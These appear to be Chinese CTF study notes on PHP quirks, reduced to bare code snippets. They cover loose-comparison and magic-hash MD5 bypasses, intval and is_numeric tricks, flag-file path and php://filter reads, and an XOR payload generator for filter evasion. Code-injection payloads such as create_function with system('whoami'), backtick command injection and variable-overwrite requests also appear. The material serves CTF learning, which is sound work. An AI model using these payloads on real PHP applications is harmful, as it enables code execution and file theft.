PHP 特性总结笔记

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

'a' == 0 // true

'1a' == 0 // false
'1a' == 1 // true

'a1' == 0 // true
'a1' == 1 // false

'123aa' == 123 // true
'aa123' == 123 // false

'123aa456' == 123 // true

'0e123' == '0e456' //true

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

' 36'=='36'; // true
'36 '=='36'; // false
'3 6'=='36'; // false

"\n36"=="36"; // true
"\t36"=="36"; // true

"36\n"=="36"; // false
"36\t"=="36"; // false

" 36" === "36" // false
"36 " === "36" // false

"\n36"==="36"; // false
"\t36"==="36"; // false

1
2
3
4
5

01555 == 877
01555 === 877

0x36D == 877
0x36D === 877

1
2

'123' == 123 // true
'123' === 123 // false

1

intval(mixed $value, int $base = 10): int

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

intval('1146.0');
intval('1146.123');
intval('1146aa');

intval('1146e123');

intval('0x117c', 0);
intval('010574', 0);

intval(' 1146');

1
2
3
4
5
6
7
8
9

is_numeric(' 36'); // true
is_numeric('36 '); // false
is_numeric('3 6'); // false

is_numeric("\n36"); // true
is_numeric("\t36"); // true

is_numeric("36\n"); // false
is_numeric("36\t"); // false

1
2
3

var_dump(in_array('1abc', [1,2,3,4,5])); // true
var_dump(in_array('abc', [1,2,3,4,5])); // false
var_dump(in_array('abc', [0,1,2,3,4,5])); // true

1
2

'0e123' == '0e456' // true
'0e123' === '0e456' // false

1
2
3
4
5

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a

1
2
3
4
5
6

aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
0e1290633704
10932435112

1
2

md5(240610708) = 0e462097431906509019562988736854
md5(0e215962017) = 0e291242476940776845150308577824

1
2
3
4
5

$a = Array();
$b = Array();

md5($a) == md5($b); // null == null true
md5($a) === md5($b); // null === null true

1
2
3

./flag.php
./ctfshow/../flag.php
/var/www/html/flag.php

1
2
3
4
5

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

1
2

compress.zlib://flag.php
php://filter/ctfshow/resource=flag.php

1

$v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

1

$v0 = is_numeric($v1)

1

$v0 and is_numeric($v2) and is_numeric($v3);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

import re

preg = '[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\-]+'

def convertToURL(s):
    if s < 16:
        return '%0' + str(hex(s).replace('0x', ''))
    else:
        return '%' + str(hex(s).replace('0x', ''))

def generateDicts():
    dicts = {}
    for i in range(256):
        for j in range(256):
            if not re.match(preg, chr(i), re.I) and not re.match(preg, chr(j), re.I):
                k = i ^ j
                if k in range(32, 127):
                    if not k in dicts.keys():
                        dicts[chr(k)] = [convertToURL(i), convertToURL(j)]
    return dicts

def generatePayload(dicts, payload):
    s1 = ''
    s2 = ''
    for s in payload:
        s1 += dicts[s][0]
        s2 += dicts[s][1]
    return f'("{s1}"^"{s2}")'

dicts = generateDicts()
a = generatePayload(dicts, r'get_ctfshow_fl0g')
print(a)

1

return 1?phpinfo():1;

1

1+phpinfo()+1;

1
2
3
4
5

$$key = $$value;

extract()
parse_str()
import_request_variables()

1

?_POST[key1]=36d&_POST[key2]=36d

1
2
3

$fl0g = flag_give_me;

echo $fl0g;

1

`$F`; sleep 3

1
2
3
4
5

<form action="http://xxx/" method="POST" enctype="multipart/form-data">
<input type="text" name="PHP_SESSION_UPLOAD_PROGRESS" value="xxx" />
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="submit" />
</form>

1

var_dump(call_user_func(call_user_func("_", "get_defined_vars")));

1
2
3
4

new Exception(system('xx'))
new ReflectionClass(system('xx'))
new FilesystemIterator(getcwd())
new ReflectionClass('stdClass');system()//

1

show_source(next(array_reverse(scandir(pos(localeconv())))));

1

eval(end(current(get_defined_vars())))

1

$ctfshow::getFlag();

1

ctfshow[]=ctfshow&ctfshow[]=getFlag

1

call_user_func(callable $callback, mixed ...$args): mixed

1

call_user_func('myclass::static_method')

1
2
3

call_user_func(array('myclass', 'static_method'));

call_user_func(array(new myclass(), 'dynamic_method'));

1

create_function(string $args, string $code): string

1

create_function('', "system('whoami');//");

1

\phpinfo();

1

class_exists(string $class, bool $autoload = true): bool